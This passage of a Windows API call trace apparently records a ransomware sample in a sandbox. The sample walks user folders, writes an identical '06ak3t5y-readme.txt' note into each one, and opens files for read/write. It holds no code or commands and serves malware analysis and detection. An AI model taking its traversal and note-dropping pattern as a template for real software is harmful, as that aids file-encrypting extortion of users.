dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0110.508] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068040) returned 1 [0110.509] WriteFile (in: hFile=0x238, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.509] CloseHandle (hObject=0x238) returned 1 [0110.510] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Music", cAlternateFileName="")) returned 1 [0110.510] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040090 [0110.510] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x36) returned 0x2085040 [0110.510] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x5c) returned 0x2085fc0 [0110.510] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Music\\06ak3t5y-readme.txt" (normalized: "c:\\users\\public\\music\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0110.510] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2085fc0) returned 1 [0110.510] WriteFile (in: hFile=0x238, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.511] CloseHandle (hObject=0x238) returned 1 [0110.511] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Pictures", cAlternateFileName="")) returned 1 [0110.511] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040040 [0110.511] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x3c) returned 0x3687448 [0110.512] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x62) returned 0x2068040 [0110.512] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Pictures\\06ak3t5y-readme.txt" (normalized: "c:\\users\\public\\pictures\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0110.512] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068040) returned 1 [0110.512] WriteFile (in: hFile=0x238, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.513] CloseHandle (hObject=0x238) returned 1 [0110.513] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Recorded TV", cAlternateFileName="RECORD~1")) returned 1 [0110.513] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20402b0 [0110.513] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x42) returned 0x2067310 [0110.513] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x68) returned 0x2068040 [0110.513] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Recorded TV\\06ak3t5y-readme.txt" (normalized: "c:\\users\\public\\recorded tv\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0110.516] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068040) returned 1 [0110.516] WriteFile (in: hFile=0x238, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.516] CloseHandle (hObject=0x238) returned 1 [0110.517] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Videos", cAlternateFileName="")) returned 1 [0110.517] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20402a0 [0110.517] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x38) returned 0x2085080 [0110.517] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x5e) returned 0x2085fc0 [0110.517] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Videos\\06ak3t5y-readme.txt" (normalized: "c:\\users\\public\\videos\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0110.517] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2085fc0) returned 1 [0110.517] WriteFile (in: hFile=0x238, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.518] CloseHandle (hObject=0x238) returned 1 [0110.519] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="videos", cAlternateFileName="")) returned 0 [0110.519] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.519] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3686f80) returned 1 [0110.519] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040170) returned 1 [0110.519] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Contacts\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.519] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.519] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0110.519] PathFindExtensionW (pszPath="administrator.contact") returned=".contact" [0110.519] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x10c6e) returned 0x3880590 [0110.519] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Contacts\\Administrator.contact" (normalized: "c:\\users\\default\\contacts\\administrator.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0xffffffff [0110.520] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x3880590) returned 1 [0110.520] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.520] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0110.520] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.520] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3686fc8) returned 1 [0110.520] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040190) returned 1 [0110.520] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Desktop\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.520] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.520] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.520] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0110.520] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.521] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3687010) returned 1 [0110.521] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20401a0) returned 1 [0110.521] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Documents\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.521] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.522] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.522] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0110.522] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0110.522] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0110.522] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0110.522] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.522] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3687058) returned 1 [0110.522] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040250) returned 1 [0110.523] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Downloads\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.523] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.523] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.523] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0110.523] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.523] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x36870a0) returned 1 [0110.523] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040100) returned 1 [0110.523] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.523] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.523] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.523] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Links", cAlternateFileName="")) returned 1 [0110.523] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040100 [0110.524] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4c) returned 0x208ea20 [0110.524] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x72) returned 0x369f580 [0110.524] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\06ak3t5y-readme.txt" (normalized: "c:\\users\\default\\favorites\\links\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.524] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x369f580) returned 1 [0110.524] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0110.524] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040250 [0110.524] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x66) returned 0x2068040 [0110.524] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8c) returned 0x2078200 [0110.524] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\06ak3t5y-readme.txt" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.529] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2078200) returned 1 [0110.529] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62abf4c0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0110.529] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20401a0 [0110.530] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x5a) returned 0x2085fc0 [0110.530] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x80) returned 0x367aa40 [0110.530] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\06ak3t5y-readme.txt" (normalized: "c:\\users\\default\\favorites\\msn websites\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.535] 